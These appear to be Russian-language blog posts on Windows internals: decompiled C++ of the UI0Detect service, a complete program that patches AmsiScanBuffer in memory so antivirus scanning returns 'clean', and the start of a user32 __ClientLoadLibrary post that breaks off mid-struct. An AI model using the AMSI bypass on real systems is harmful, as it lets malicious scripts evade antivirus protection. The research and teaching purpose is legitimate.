Как только приходит сообщение WM_CREATE, UI0Detect будет использовать API RegisterWindowMessage со специальным параметром SHELLHOOK, чтобы он мог получать определенные сообщения уведомления оболочки. Затем он инициализирует свой список окон верхнего уровня и регистрируется для получения уведомлений о создании новой сессии от службы терминалов. Наконец, он вызывает SetupSharedMemory для инициализации раздела, который он будет использовать для связи с процессами UI0Detect в клиентском режиме, и вызывает EnumWindows для перечисления всех окон на рабочем столе сессии 0.
Другое сообщение, которое получает этот обработчик окна - это WM_DESTROY, которое, как следует из его названия, отменяет регистрацию уведомления сессии, уничтожает списки окон и завершает работу.
Эта процедура также получает сообщения WM_WTSSESSION_CHANGE, которые она зарегистрировала для уведомлений о сеансе. Служба ожидает создания удаленных или локальных сеансов или отключений. Когда создается новый сеанс, он запрашивает разрешение нового виртуального экрана, чтобы знать, где и как отображать собственное окно. Эта функция существует для обнаружения фактического переключения на сеанс 0.
Помимо этих трех сообщений, основным «рабочим» сообщением для обработчика окна является WM_TIMER. Все события, которые мы видели до сих пор, вызывают SetTimer с другим параметром, чтобы сгенерировать какое-то уведомление. Эти уведомления затем анализируются оконной процедурой либо для возврата в сессию пользователя, либо для измерения того, был ли в последнее время какой-либо вход в сессию 0, а также для обработки операций создания и уничтожения динамического окна.

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
LRESULT CALLBACK BackgroundWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, HWND* lParam)
{
    HWND* v4 = lParam;
    __int64 v7 = NULL;
    PDWORD v8;
    int v9;
    int nHeight;
    int v11;
    int v12;
    int v13;
    PDWORD v14;
    int v15;
    WPARAM v16;
    WPARAM v17;
    UINT_PTR v18;
    UINT v19;
    DWORD v20;
    SIZE_T v21 = NULL;
    UINT v22;
    LPVOID* v23;
    LPVOID* v24;
    PDWORD v25;
    UINT dwNewLong;
    HWND v27;
    LASTINPUTINFO LastInputInfo{ sizeof(LASTINPUTINFO) };
    HWND* v31 = lParam;
 
    switch (uMsg)
    {
    case WM_CREATE:
    {
        dwNewLong = RegisterWindowMessage(TEXT("SHELLHOOK"));
 
        if (!dwNewLong)
            return -1;
 
        SetLastError(NO_ERROR);
 
        if (!SetWindowLongPtr(hWnd, 0, dwNewLong)) {
            if (GetLastError())
                return -1;
        }
 
        if (!RegisterShellHookWindow(hWnd))
            return -1;
 
        qword_140008620 = (__int64)&g_TopLevelWindowList;
        g_TopLevelWindowList = &g_TopLevelWindowList;
        g_dwTopLevelWindowCount = NULL;
 
        if (g_fSqmIsOptedIn)
            SetTimer(hWnd, 1, 0x5265C00, nullptr);
 
        WTSRegisterSessionNotification(hWnd, NOTIFY_FOR_THIS_SESSION);
        SetupSharedMemory();
        InitializeAllowedSQMPaths();
        EnumWindows(EnumWindowsCallbackProc, NULL);
        v27 = hWnd;
        
        if (!g_dwTopLevelWindowCount) {
            v18 = 2;
            v19 = 28800000;
        LABEL_63:
            SetTimer(v27, v18, v19, nullptr);
            return v7;
        }
 
        PostMessage(hWnd, WM_TIMER, 4, NULL);
        goto LABEL_61;
    }
 
    case WM_DESTROY:
    {
        v25 = (PDWORD)g_pxSharedInfo;
        
        if (g_pxSharedInfo) {
            *((PDWORD)g_pxSharedInfo + 1) |= 1;
            ++* v25;
        }
 
        WTSUnRegisterSessionNotification(hWnd);
        EmptyListOfTrackedWindow();
        PostQuitMessage(0);
 
        return v7;
    }
 
    case WM_TIMER:
    {
        switch (wParam)
        {
        case 1:
        {
            WinSqmEndSession(&g_hSessionService.Data1);
            *(PSIZE_T)&g_hSessionService.Data1 = (ULONG)WinSqmStartSession(&g_guidService, 984067, 0);
            WinSqmSetString(&g_hSessionService.Data1, 1411, TEXT("Session 0 viewer service"));
            
            return v7;
        }
 
        case 2:
        {
            goto LABEL_30;
        }
 
        case 3:
        {
            GetLastInputInfo(&LastInputInfo);
            
            if (LastInputInfo.dwTime == g_xTCAtLastInput.dwTime) {
                WTSDisconnectSession(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, FALSE);
                return v7;
            }
 
            g_xTCAtLastInput.dwTime = LastInputInfo.dwTime;
            v20 = GetTickCount() - g_xTCAtLastInput.dwTime;
            v19 = 60000;
 
            if (v20 <= 0xEA60)
                v19 = 60000 - v20;
            
            LastInputInfo.dwTime = v19;
            v18 = 3;
            goto LABEL_62;
        }
        }
 
        if (wParam != 4)
            return 1;
 
        if (GetTickCount() - g_dwTCAtLastUserPing < 0x7530)
            return v7;
 
        g_dwTCAtLastUserPing = GetTickCount();
        v22 = g_dwTopLevelWindowCount;
 
        if (!g_dwTopLevelWindowCount)
            goto LABEL_23;
 
        v23 = (LPVOID*)g_TopLevelWindowList;
 
        if (g_TopLevelWindowList != &g_TopLevelWindowList) {
            do {
                v24 = v23;
                v23 = (LPVOID*)*v23;
                if (!IsWindow((HWND)v24[2]))
                    OnTopLevelWindowDestruction((HWND)v24[2]);
            } while (v23 != &g_TopLevelWindowList);
            
            v22 = g_dwTopLevelWindowCount;
        }
 
        if (!v22) {
        LABEL_23:
            SendMessage(g_hWndS0Dlg, 0x46C, NULL, 1011);
            SendMessage(g_hWndS0Dlg, 0x46C, 3, 1010);
            v18 = 2;
            v19 = 28800000;
 
        LABEL_62:
            v27 = hWnd;
            goto LABEL_63;
        }
 
        CreateClients(v21);
 
    LABEL_61:
        v18 = 4;
        v19 = 300000;
        goto LABEL_62;
    }
 
    case WM_WTSSESSION_CHANGE:
    {
        if (!lParam) {
            if (((wParam - 1) & 0xFFFFFFFFFFFFFFFD) != 0) {
                if (((wParam - 2) & 0xFFFFFFFFFFFFFFFD) == 0) {
                    KillTimer(hWnd, 3);
                    v8 = (PDWORD)g_pxSharedInfo;
                    g_dwTCAtLastUserPing = 0;
                    
                    if (g_pxSharedInfo) {
                        v9 = *((PDWORD)g_pxSharedInfo + 1);
                        
                        if ((*((PBYTE)g_pxSharedInfo + 4) & 1) == 0) {
                            ++* (PDWORD)g_pxSharedInfo;
                            v8[1] = v9 & 0xFFFFFFFD;
                        }
                    }
                }
            }
 
            else {
                nHeight = GetSystemMetrics(79);
                v11 = GetSystemMetrics(78);
                v12 = GetSystemMetrics(77);
                v13 = GetSystemMetrics(76);
                MoveWindow(hWnd, v13, v12, v11, nHeight, TRUE);
                g_xTCAtLastInput.cbSize = sizeof(LASTINPUTINFO);
                GetLastInputInfo(&g_xTCAtLastInput);
                SetTimer(hWnd, 3, 0xEA60, nullptr);
                v14 = (PDWORD)g_pxSharedInfo;
                v4 = v31;
 
                if (g_pxSharedInfo) {
                    v15 = *((PDWORD)g_pxSharedInfo + 1);
                   
                    if ((*((PBYTE)g_pxSharedInfo + 4) & 1) == 0) {
                        ++* (PDWORD)g_pxSharedInfo;
                        v14[1] = v15 | 2;
                    }
                }
            }
        }
        break;
    }
 
    case WM_APP:
    {
    LABEL_30:
        DestroyWindow(hWnd);
        return v7;
    }
    }
 
    if (uMsg != (UINT)GetWindowLongPtr(hWnd, 0) || !v4)
        return DefWindowProc(hWnd, uMsg, wParam, (LPARAM)v4);
 
    v16 = wParam - 1;
 
    if (v16) {
        v17 = v16 - 1;
        if (v17) {
            if (v17 == 3)
                PostMessage(*v4, WM_SYSCOMMAND, 0xF120, NULL);
            return v7;
        }
 
        v7 = OnTopLevelWindowDestruction((HWND)v4);
        
        if (g_dwTopLevelWindowCount)
            return v7;
       
        goto LABEL_23;
    }
 
    v7 = OnTopLevelWindowCreation(hWnd, (HWND)v4);
    
    if (g_dwTopLevelWindowCount)
        KillTimer(hWnd, 2);
 
    return v7;
}

Посмотрим, что происходит во время этих двух операций. Первое действие по созданию окна происходит во время вышеупомянутого вызова EnumWindows, который генерирует начальный список окон. Функция ищет только окна без родителя, то есть окна верхнего уровня, и вызывает OnTopLevelWindowCreation для анализа окна. Этот анализ состоит из запроса владельца окна, получения его PID и последующего запроса информации модуля об этом процессе. Информация о версии также извлекается, чтобы получить название компании. Наконец, окно добавляется в список отслеживаемых окон, а глобальная переменная счетчика увеличивается.
Информация об этом модуле и версии попадает в раздел общей памяти. Он создается SetupSharedMemory и фактически генерирует два дескриптора. Первый дескриптор создается с доступом SECTION_MAP_WRITE и сохраняется внутри для доступа на запись. Затем дескриптор дублируется с доступом SECTION_MAP_READ, и этот дескриптор будет использоваться клиентом.
Структура UI0_SHARED_INFO содержит несколько информационных полей: некоторые флаги, количество окон, обнаруженных на рабочем столе сессии 0, и, что более важно, информацию о модуле, окне и версии для каждого из этих окон. Функция OnTopLevelWindowCreation использует эту структуру для сохранения всей обнаруженной информации, а OnTopLevelWindowDestroy делает уничтожает эту информацию.

Одно из связанных с таймером сообщений, за которое отвечает оконная процедура, будет проверять количество окон верхнего уровня (больше ли оно чем 0). Если это так, то выполняется вызов CreateClients вместе с дескриптором для раздела с отображенной памятью только для чтения

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
VOID WINAPI CreateClients(DWORD a1)
{
    HANDLE v0;
    int v1;
    BYTE v2;
    int v3;
    ULONG v4;
    int v5;
    ULONG SessionId[2]{};
    int v7;
    int v8;
 
    v0 = g_hSharedInfo;
    *(PDWORD)SessionId = 0;
    v7 = 0;
    v8 = 0;
    v1 = 5;
    v5 = 5;
    v2 = WinStationGetSessionIds(0, SessionId, &v5);
    v3 = v2;
    
    if (v2 || GetLastError() != ERROR_MORE_DATA)
        v1 = v5;
   
    else
        v3 = 1;
    
    if (v3) {
        while (v1)
        {
            v5 = v1 - 1;
            v4 = SessionId[v1 - 1];
            if (WTSGetServiceSessionId() != v4)
            {
                CreateClient(v4, (DWORD)v0);
                Sleep(100);
            }
            v1 = v5;
        }
    }
}

Эта процедура вызывает API WinStationGetSessionIds и перечисляет каждый идентификатор, вызывая процедуру CreateClient

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
DWORD WINAPI CreateClient(ULONG SessionId, int a2)
{
    DWORD dwErrCode = ERROR_NO_TOKEN;
    BOOL IsImpersonate = FALSE;
    HANDLE phToken = nullptr;
    PROCESS_INFORMATION ProcessInformation{};
    STARTUPINFOW StartupInfo{ sizeof(STARTUPINFOW) };
    WCHAR CommandLine[56];
 
    memset(CommandLine, 0, 0x64);
    memset(&StartupInfo.lpReserved, 0, 0x60);
 
    if (SessionId != -1) {
        if (WTSQueryUserToken(SessionId, &phToken) && ImpersonateLoggedOnUser(phToken)) {
            IsImpersonate = TRUE;
            StringCchPrintfW(CommandLine, 0x32, L"UI0Detect.exe %Iu", a2);
            StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
            StartupInfo.wShowWindow = SW_SHOWMINNOACTIVE;
 
            dwErrCode = CreateProcessAsUserW(phToken, nullptr, CommandLine, nullptr, nullptr, TRUE, NULL, nullptr, nullptr, &StartupInfo, &ProcessInformation);
 
            if (dwErrCode) {
                CloseHandle(ProcessInformation.hThread);
                CloseHandle(ProcessInformation.hProcess);
            }
        }
 
        else {
            dwErrCode = GetLastError();
        }
    }
 
    if (IsImpersonate)
        RevertToSelf();
 
    if (phToken)
        CloseHandle(phToken);
 
    return dwErrCode;
}

Наконец, то, что происходит в CreateClient, довольно просто: API-интерфейсы WTSQueryUserToken и ImpersonateLoggedOnUser используются для получения токена входа в систему олицетворения, соответствующего пользователю по указанному идентификатору сессии, и создается командная строка для UI0Detect, которая содержит дескриптор чтения только раздела с отображением памяти. В конечном итоге вызывается CreateProcessAsUser, в результате чего для этого идентификатора сеанса создается процесс UI0Detect, выполняющийся с учетными данными пользователя.

Вот так вкратце работает данный сервис :)
Кода конечно же больше, чем приведенные мною несколько функций.
Как только я его приведу в читабельный вид, прикреплю исходники WlS0WndH.dll и UI0Detect.exe в этом блоге.

PS: примерные прототипы WinSqm функций из ntdll.dll

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
HANDLE WINAPI WinSqmStartSession(GUID* pSessionGuid, DWORD dwSessionId, DWORD unknown1)
{
    return INVALID_HANDLE_VALUE;
}
 
#define STATUS_NOT_IMPLEMENTED 0xC0000002
NTSTATUS WINAPI WinSqmEndSession(HANDLE hSession)
{
    return STATUS_NOT_IMPLEMENTED;
}
 
BOOL WINAPI WinSqmIsOptedIn(VOID)
{
    return FALSE;
}
 
VOID WINAPI WinSqmSetDWORD(HANDLE hSession, DWORD dwDataPointId, DWORD dwDataPointValue)
{
    
}
 
VOID WINAPI WinSqmIncrementDWORD(HANDLE hSession, DWORD dwDataPointId, DWORD dwDataPointValue)
{
 
}
 
VOID WINAPI WinSqmAddToAverageDWORD(HANDLE hSession, DWORD dwDataPointId, DWORD dwDataPointValue)
{
 
}
 
VOID WINAPI WinSqmAddToStream(HANDLE hSession, DWORD dwDataPointId, DWORD sqmStreamEntries, PVOID streamEntries)
{
 
}
 
VOID WINAPI WinSqmSetString(HANDLE hSession, DWORD dwDataPointId, LPCWSTR unk3)
{
 
}

Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 2: Windows 8 - Windows 10

Выкладываю исходники сервиса UI0Detect.7z и его библиотеки WlS0WndH.7z
UI0Detect так до ума и не довёл, но большую часть сделал - всё переименовал, чтобы не путаться в символах дизассемблера, осталось только написать DialogBox для него.

Обход Anti-Malware Scan Interface (AmsiScanBuffer bypass)

_lunar_ — Wed, 01 Jan 2020 16:15:53 GMT

С релизом Windows 10 компания Microsoft представила новый интерфейс, который могут использовать приложения и службы, отправляя «контент» поставщику антивирусного ПО, установленному в системе (например Windows Defender).
Называется этот интерфейс Anti-Malware Scan Interface и представлен в системной библиотеке amsi.dll
Данная библиотека имеет небольшой размер и полностью реверсится за пару дней. Но зачем утруждать себя лишней работой, если MS поставляет её исходный код в пакете SDK (amsi.h, amsi.lib).

Для начала нужно понять что это такое и для чего используется.
AMSI обеспечивает повышенную защиту от использования современных инструментов, тактик и процедур (TTP), обычно используемых во время атак вредоносным ПО.
AMSI подключает, например, Windows Scripting Host (WSH) и PowerShell, для того, чтобы анализировать выполняемый контент. Этот контент «перехватывается» и отправляется в антивирусное обеспечение до его запуска.

Чтобы увидеть как всё это работает, воспользуемся тестовым файлом проверки антивируса EICAR-Test-File

C++
1
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

Эта строка была специально создана для анализа срабатывания антивирусов и не несёт в себе никакого исполняемого кода пруф от касперского

Первое что нужно сделать - проинициализировать дескриптор контекста, который будет проверяться

C++
1
2
HAMSICONTEXT AmsiContext = nullptr;
AmsiInitialize((PCWSTR)EICAR, &AmsiContext);

Далее, инициализируем дескриптор сессии

C++
1
2
HAMSISESSION AmsiSession = nullptr;
AmsiOpenSession(AmsiContext, &AmsiSession);

И третье, собственно сканируем данные на предмет вредоносного контента

C++
1
2
AMSI_RESULT Result{};
AmsiScanBuffer(AmsiContext, (PBYTE)EICAR, sizeof(EICAR), (PCWSTR)EICAR, AmsiSession, &Result);

В переменную Result вернётся значение, чем оно меньше (AMSI_RESULT_CLEAN или AMSI_RESULT_NOT_DETECTED) тем безопаснее контент.

При выполнении данного кода, антивирус выдаст следующее (Result = AMSI_RESULT_DETECTED)

Чтобы обойти AMSI необходимо изучить ассемблерный код функции AmsiScanBuffer.
Первые 24 байта этой функции дают полную уникальность относительно остального кода библиотеки amsi.dll
Вот её сигнатура и маска

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
BYTE pattren_AmsiScanBuffer[24] =
{
    0x4C,0x8B,0xDC,         // mov r11,rsp
    0x49,0x89,0x5B,0x08,    // mov qword ptr ds:[r11+8],rbx
    0x49,0x89,0x6B,0x10,    // mov qword ptr ds:[r11+10],rbp
    0x49,0x89,0x73,0x18,    // mov qword ptr ds:[r11+18],rsi
    0x57,                   // push rdi
    0x41,0x56,              // push r14
    0x41,0x57,              // push r15
    0x48,0x83,0xEC,0x70     // sub rsp,70
};
 
PCCH mask_AmsiScanBuffer = "xxxxxxxxxxxxxxxxxxxxxxxx";

Суть обхода заключается в том, чтобы функция AmsiScanBuffer вернула в переменную Result как можно меньшее число.
Для этого, нужно заставить AMSI не отправлять контент на проверку антивирусному обеспечению.

Как можно видеть, первые 3 байта функции заняты инструкцией mov r11,rsp
Этого количества байт вполне хватит для того, чтобы завершить функцию в самом начале её исполнения.
Поэтому перепишем эти 3 байта следующими

Assembler
1
2
xor eax,eax     ; 0x31,0xC0,
ret             ; 0xC3

Ищем дескриптор библиотеки amsi.dll в памяти и переписываем его следующим образом

C++
1
2
3
4
5
6
7
8
PVOID Addr = GetProcAddress(GetModuleHandle("amsi"), "AmsiScanBuffer");
 
BYTE fake_AmsiScanBuffer[3] = {
    0x31,0xC0,      // xor eax,eax
    0xC3            // ret
};
 
WriteProcessMemory(GetCurrentProcess(), Addr, &fake_AmsiScanBuffer, sizeof(fake_AmsiScanBuffer), nullptr);

В итоге получаем вот такой код, при выполнении которого тестовый файл не будет отправлен на проверку антивирусу и AmsiScanBuffer вернёт AMSI_RESULT_CLEAN

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include 
#include 
#include 
 
#pragma comment(lib, "amsi")
 
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
 
int main()
{
    HAMSICONTEXT AmsiContext = nullptr;
    HAMSISESSION AmsiSession = nullptr;
 
    AmsiInitialize((PCWSTR)EICAR, &AmsiContext);
    AmsiOpenSession(AmsiContext, &AmsiSession);
 
    //=========================================================================================================
 
    PVOID Addr = GetProcAddress(GetModuleHandle("amsi"), "AmsiScanBuffer");
 
    BYTE fake_AmsiScanBuffer[3] = {
        0x31,0xC0,      // xor eax,eax
        0xC3            // ret
    };
 
    WriteProcessMemory(GetCurrentProcess(), Addr, &fake_AmsiScanBuffer, sizeof(fake_AmsiScanBuffer), nullptr);
 
    //=========================================================================================================
 
    AMSI_RESULT Result{};
    AmsiScanBuffer(AmsiContext, (PBYTE)EICAR, sizeof(EICAR), (PCWSTR)EICAR, AmsiSession, &Result);
 
    switch (Result)
    {
    case AMSI_RESULT_CLEAN:
        std::cout << "AMSI_RESULT_CLEAN" << std::endl;
        break;
    case AMSI_RESULT_NOT_DETECTED:
        std::cout << "AMSI_RESULT_NOT_DETECTED" << std::endl;
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
        std::cout << "AMSI_RESULT_BLOCKED_BY_ADMIN_START" << std::endl;
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
        std::cout << "AMSI_RESULT_BLOCKED_BY_ADMIN_END" << std::endl;
        break;
    case AMSI_RESULT_DETECTED:
        std::cout << "AMSI_RESULT_DETECTED" << std::endl;
        break;
    default:
        std::cout << "N/A" << std::endl;
        break;
    }
 
    std::cout << "\nPress enter for the close amsi session and exit from app." << std::endl;
    std::cin.get();
 
    AmsiCloseSession(AmsiContext, AmsiSession);
    AmsiUninitialize(AmsiContext);
 
    return 0;
}

Windows Internal на примере user32.dll!__ClientLoadLibrary (Часть 1.0)

_lunar_ — Tue, 29 Oct 2019 13:15:14 GMT

Internal (или внутренние) функции операционной системы Windows как известно не входят в таблицу экспорта и используются исключительно самой библиотекой для различных вычислений.
Кроме того, системные библиотеки Windows условно можно разделить на 2 группы:
- пользовательские (библиотеки, функции которых можно использовать в UserMode (также известный как Ring3));
- ядерные (библиотеки, к функциям которых доступ ограничен из Ring3, и при попытке их исполнения можно лишь только славить EXCEPTION_ACCESS_VIOLATION или в максимально возможном случае (права администратора + привилегия отладчика + выполнение из-под SYSTEM процесс (например svchost.exe) пример) исключение после выполнения первой инструкции EXCEPTION_PRIV_INSTRUCTION).
К пользовательским библиотекам можно отнести kernel32.dll, KernelBase.dll, advapi32.dll, gdi32.dll, user32.dll (эти библиотеки образуют WinAPI), а также часть функций ntdll.dll (известных как NativeAPI).
Любая функция из WinAPI делает вызов своего прототипа в NativeAPI, а уже из ntdll.dll осуществляется переход в ядро системы (по средствам вызова инструкции sysenter и syscall или int 2e на старых операционных системах).
К ядерным библиотекам можно отнести csrsrv.dll, win32k.sys ну и конечно же само ядро ntoskrnl.exe
Ниже ядра только слой аппаратных абстракций (hal.dll), обеспечивающий взаимодействие аппаратного обеспечения с программным обеспечением.

Большинство Internal функций WinAPI не взаимодействуют с NativeAPI, тем самым, этими функциями можно управлять из-под UserMode, при этом система ничего не будет знать об этом.
Как это выглядит в действительности можно почитать на примере разбора Эксплойта нулевого дня специалистами Kaspersky Lab. Суть уязвимости заключается в перехвате функций fnDWORD, fnNCDESTROY и fnINLPCREATESTRUCT и последующего запуска серии хуков (также прикрепил pdf данной статьи, на случай если ссылка не актуальна Эксплойт нулевого дня (CVE-2018-8453) в целевых атаках.pdf)

Мы же рассмотрим пример иного характера - внутреннюю функцию __ClientLoadLibrary пользовательской библиотеки user32.dll

В библиотеке user32.dll есть диспетчер под названием apfnDispatch, который является тоже внутренним и не экспортируется.
В этом диспетчере содержатся Internal функции различного характера, вот их список (актуален для Windows 10 1903)

Кликните здесь для просмотра всего текста

apfnDispatch
dq offset __fnCOPYDATA
dq offset __fnCOPYGLOBALDATA
dq offset __fnDWORD
dq offset __fnNCDESTROY
dq offset __fnDWORDOPTINLPMSG
dq offset __fnINOUTDRAG
dq offset __fnGETTEXTLENGTHS
dq offset __fnINCNTOUTSTRING
dq offset __fnPOUTLPINT // в х32 здесь находится __fnINCNTOUTSTRINGNULL, и при этом в символах х64 имя функции также __fnINCNTOUTSTRINGNULL
dq offset __fnINLPCOMPAREITEMSTRUCT
dq offset __fnINLPCREATESTRUCT
dq offset __fnINLPDELETEITEMSTRUCT
dq offset __fnINLPDRAWITEMSTRUCT
dq offset __fnPOPTINLPUINT
dq offset __fnPOPTINLPUINT
dq offset __fnINLPMDICREATESTRUCT
dq offset __fnINOUTLPMEASUREITEMSTRUCT
dq offset __fnINLPWINDOWPOS
dq offset __fnINOUTLPPOINT5
dq offset __fnINOUTLPSCROLLINFO
dq offset __fnINOUTLPRECT
dq offset __fnINOUTNCCALCSIZE
dq offset __fnINOUTLPPOINT5
dq offset __fnINPAINTCLIPBRD
dq offset __fnINSIZECLIPBRD
dq offset __fnINDESTROYCLIPBRD
dq offset __fnINSTRINGNULL
dq offset __fnINSTRINGNULL
dq offset __fnINDEVICECHANGE
dq offset __fnPOWERBROADCAST
dq offset __fnINLPUAHDRAWMENU
dq offset __fnOPTOUTLPDWORDOPTOUTLPDWORD
dq offset __fnOPTOUTLPDWORDOPTOUTLPDWORD
dq offset __fnOUTDWORDINDWORD
dq offset __fnOUTLPRECT
dq offset __fnOUTSTRING
dq offset __fnPOPTINLPUINT
dq offset __fnPOUTLPINT
dq offset __fnSENTDDEMSG
dq offset __fnINOUTSTYLECHANGE
dq offset __fnHkINDWORD
dq offset __fnHkINLPCBTACTIVATESTRUCT
dq offset __fnHkINLPCBTCREATESTRUCT
dq offset __fnHkINLPDEBUGHOOKSTRUCT
dq offset __fnHkINLPMOUSEHOOKSTRUCTEX
dq offset __fnHkINLPKBDLLHOOKSTRUCT
dq offset __fnHkINLPMSLLHOOKSTRUCT
dq offset __fnHkINLPMSG
dq offset __fnHkINLPRECT
dq offset __fnHkOPTINLPEVENTMSG
dq offset __xxxClientCallDelegateThread
dq offset __ClientCallDummyCallback2
dq offset __fnKEYBOARDCORRECTIONCALLOUT
dq offset __fnOUTLPCOMBOBOXINFO
dq offset __fnINLPCOMPAREITEMSTRUCT
dq offset __ClientCallDummyCallback2
dq offset __xxxClientCallDitThread
dq offset __xxxClientEnableMMCSS
dq offset __xxxClientUpdateDpi
dq offset __xxxClientExpandStringW
dq offset __ClientCopyDDEIn1
dq offset __ClientCopyDDEIn2
dq offset __ClientCopyDDEOut1
dq offset __ClientCopyDDEOut2
dq offset __ClientCopyImage
dq offset __ClientEventCallback
dq offset __ClientFindMnemChar
dq offset __ClientFreeDDEHandle
dq offset __ClientFreeLibrary
dq offset __ClientGetCharsetInfo
dq offset __ClientGetDDEFlags
dq offset __ClientGetDDEHookData
dq offset __ClientGetListboxString
dq offset __ClientGetMessageMPH
dq offset __ClientLoadImage
dq offset __ClientLoadLibrary
dq offset __ClientLoadMenu
dq offset __ClientLoadLocalT1Fonts
dq offset __ClientPSMTextOut
dq offset __ClientLpkDrawTextEx
dq offset __ClientExtTextOutW
dq offset __ClientGetTextExtentPointW
dq offset __ClientCharToWchar
dq offset __ClientAddFontResourceW
dq offset __ClientThreadSetup
dq offset __ClientDeliverUserApc
dq offset __ClientNoMemoryPopup
dq offset __ClientMonitorEnumProc
dq offset __ClientCallWinEventProc
dq offset __ClientWaitMessageExMPH
dq offset __ClientWOWGetProcModule
dq offset __ClientWOWTask16SchedNotify
dq offset __ClientImmLoadLayout
dq offset __ClientImmProcessKey
dq offset __fnIMECONTROL
dq offset __fnINWPARAMDBCSCHAR
dq offset __fnGETTEXTLENGTHS
dq offset __fnINLPKDRAWSWITCHWND
dq offset __ClientLoadStringW
dq offset __ClientLoadOLE
dq offset __ClientRegisterDragDrop
dq offset __ClientRevokeDragDrop
dq offset __fnINOUTMENUGETOBJECT
dq offset __ClientPrinterThunk
dq offset __fnOUTLPCOMBOBOXINFO
dq offset __fnOUTLPSCROLLBARINFO
dq offset __fnINLPUAHDRAWMENU
dq offset __fnINLPUAHDRAWMENUITEM
dq offset __fnINLPUAHDRAWMENU
dq offset __fnINOUTLPUAHMEASUREMENUITEM
dq offset __fnINLPUAHDRAWMENU
dq offset __fnOUTLPTITLEBARINFOEX
dq offset __fnTOUCH
dq offset __fnGESTURE
dq offset __fnPOPTINLPUINT
dq offset __fnPOPTINLPUINT
dq offset __xxxClientCallDefaultInputHandler
dq offset __fnEMPTY
dq offset __ClientRimDevCallback
dq offset __xxxClientCallMinTouchHitTestingCallbac k
dq offset __ClientCallLocalMouseHooks
dq offset __xxxClientBroadcastThemeChange
dq offset __xxxClientCallDevCallbackSimple
dq offset __xxxClientAllocWindowClassExtraBytes
dq offset __xxxClientFreeWindowClassExtraBytes
dq offset __fnGETWINDOWDATA
dq offset __fnINOUTSTYLECHANGE
dq offset __fnHkINLPMOUSEHOOKSTRUCTEX

Расписывать каждую функцию я не буду, может быть какие-то интересные в следующих блогах :)
А сейчас рассмотрим __ClientLoadLibrary.
Как ни странно, но использование __ClientLoadLibrary может стать защитой от внедрения dll средствами SetWindowsHookEx.
Почти все эти функции возвращают адрес обратного вызова из ядерного сервиса (NtCallbackReturn). При вызове теневых сервисов часто до возврата из сервиса управление возвращается в UserMode, другими словами адрес обратного вызова получает именно __ClientLoadLibrary, а уже потом, после возврата из сервиса, его получает SetWindowsHookEx.

Интересно то, что поле PEB.KernelCallbackTable указывает как раз на user32.apfnDispatch.
Теоретически можно было бы просто отсчитать от него по 8 байт до функции __ClientLoadLibrary, но нет никакой гарантии, что в будущем Microsoft не внесёт изменения в эти структуры (изменит номер функции и её относительный адрес).
Поэтому лучшим способом будет поиск по сигнатуре.

Итак, для начала нужно посмотреть на библиотеку user32.dll под микроскопом (коим является конечно же дизассемблер IDA).
Загрузив символы user32.pdb, нажимаем Alt+T и ищем по тексту __ClientLoadLibrary, вот начало искомой функции

Чтобы определить сигнатуру, необходим воспользоваться отладчиком (может быть конечно и для IDA есть какие-то плагины, но лично я предпочитаю работать с динамической памятью).
Для этого нужно сложить базовый адрес, загруженной в память user32.dll, со смещением до __ClientLoadLibrary (на картинке видно, что смещение относительно базового адреса в статике (0x180000000) равно 0х5390).
Открываем x64dbg, перемещаемся в модуль user32.dll (базовый адрес в динамике на момент загрузки модуля - 0х00007FFFD17F0000) и добавляем смещение 0х5390, в итоге попадаем туда куда нужно

С помощью плагина SwissArmyKnife делаем сигнатуру первых 7-10 инструкций (обычно этого достаточно для уникальности сигнатуры)

Получаем саму сигнатуру и маску.

__ClientLoadLibrary принимает только 1 аргумент - указатель на недокументированную структуру, выделенную в стеке процесса

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _CAPTUREBUF {
    SIZE_T BufferSize;          // [0] содержит длину всего буфера, включая данные переменной длины
    SIZE_T AdditionalDataSize;  // [1] содержит длину данных переменной длины
    ULONG FixupsCount;          // [2] количество исправлений
    PVOID pFree;                // [3] указатель на конец данных переменной длины
    ULONG offCbkPtrs;           // [4] смещение от начала структуры
    BOOL bFixed;                // [5] если FALSE, каждый указатель содержит не адрес, а смещение относительно начала структуры
